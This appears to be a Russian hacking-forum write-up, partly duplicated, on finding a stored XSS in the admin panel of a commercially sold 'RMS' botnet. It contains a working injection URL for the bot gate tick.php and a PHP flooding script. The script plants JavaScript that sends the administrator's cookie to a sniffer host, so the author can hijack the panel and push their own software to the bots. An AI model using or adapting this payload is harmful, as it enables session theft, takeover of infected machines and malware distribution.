Сегодня мы будем чекать на баги админ-панель сборки RMS, которая продается
Изучив весь сорц, я обнаружил, что работа с бд идет через PDO, а значит ловить скуль-инжекты было практически бессмысленно. На удачу, попробовал поискать second order injection, но и этого тоже не было, потому как контент из базы данных почти не использовался в запросах (кому интересно, как это можно было бы заюзать - _).
Active XSS
Оставалось только искать баги в клиентской части. Тут тоже все было довольно печально - все переменные либо приводились к int, либо фильтровались через htmlspecialchars. Однако, часть переменных находилась внутри одинарных кавычек события onclick (которые функция htmlspecialchars по умолчанию не преобразует), что позволяло внедрить кривую хранимую XSS.
index.php, 98 строка:
index.php, 107 строка:
Гейт, куда стучат боты tick.php:
Отправляем:
В админке жмакаем на кнопку редактирования комментария или на кнопку фокуса:
Автор сказал, что флуд админки не считается за багу, однако, чтобы получить хоть какой-то результат немного пофлудить все-таки придется:
Принцип следующий:
Ботовод заходит в админку.
Видит кучу левых ботов.
Пытается их удалить/отредактировать...
Если повезет (о боженька, молю тебя об этом) запускает наш js-код...
И кука админа летит на сниффер:
ПРОФИТ!
Подставляем куку себе в браузер, заходим в админку, пиздим ID ботов/даем всем задание на прогруз своего софта/удаляем ботов.
Finish
Хочется заметить, что данная админка существенно отличается в плане защиты от того, с чем я сталкивался раньше. Все что смог найти - одна xss, которая эксплуатируется не самым простым способом. Плюсом, в файле robots.txt закрыта индексация и найти еще таких админок просто не вышло.
P.S. есть еще одна мелкая ошибка - клип Prodigy в ифрейме не открывается.
© Lebron // ufolabs.pro
Изучив весь сорц, я обнаружил, что работа с бд идет через PDO, а значит ловить скуль-инжекты было практически бессмысленно. На удачу, попробовал поискать second order injection, но и этого тоже не было, потому как контент из базы данных почти не использовался в запросах (кому интересно, как это можно было бы заюзать - _).
Active XSS
Оставалось только искать баги в клиентской части. Тут тоже все было довольно печально - все переменные либо приводились к int, либо фильтровались через htmlspecialchars. Однако, часть переменных находилась внутри одинарных кавычек события onclick (которые функция htmlspecialchars по умолчанию не преобразует), что позволяло внедрить кривую хранимую XSS.
index.php, 98 строка:
Код:
<span class=\"input-group-addon btn\" onclick=\"saveComment('" . htmlspecialchars($value['RMSID']) . "', this)\">
index.php, 107 строка:
Код:
<button class=\"btn btn-primary btn-xs\" onclick=\"executeFocus('" . htmlspecialchars($value['RMSID']) . "')\">
Гейт, куда стучат боты tick.php:
Код:
insertIntoDB( $_REQUEST['id'],
$_REQUEST['userpc'],
$_REQUEST['os'],
$_REQUEST['admin'],
$_REQUEST['comment']
);
$command = getCommand($_REQUEST['id']);
if (empty($command))
print("TRUE");
else
print($command);
Код:
/tick.php?id=1234', this); alert(document.cookie);a=('&os=123&userpc=win&admin=1&comment=hello

Автор сказал, что флуд админки не считается за багу, однако, чтобы получить хоть какой-то результат немного пофлудить все-таки придется:
Код:
<?php
for($i=0;$i<50;$i++){
$gate = "http://rms/tick.php";
$payload = '?id=1337'.rand(1,1000).'\',this);img='.urlencode('new Image();').'img.src=\'http://sniff/snf.php?\'+document.cookie;a=(\'&os=123&userpc=win&admin=1&comment=p';
echo file_get_contents($gate.$payload)."<br>";
}
Ботовод заходит в админку.
Видит кучу левых ботов.
Пытается их удалить/отредактировать...
Если повезет (о боженька, молю тебя об этом) запускает наш js-код...
И кука админа летит на сниффер:

ПРОФИТ!
Подставляем куку себе в браузер, заходим в админку, пиздим ID ботов/даем всем задание на прогруз своего софта/удаляем ботов.
Finish
Хочется заметить, что данная админка существенно отличается в плане защиты от того, с чем я сталкивался раньше. Все что смог найти - одна xss, которая эксплуатируется не самым простым способом. Плюсом, в файле robots.txt закрыта индексация и найти еще таких админок просто не вышло.
P.S. есть еще одна мелкая ошибка - клип Prodigy в ифрейме не открывается.
© Lebron // ufolabs.pro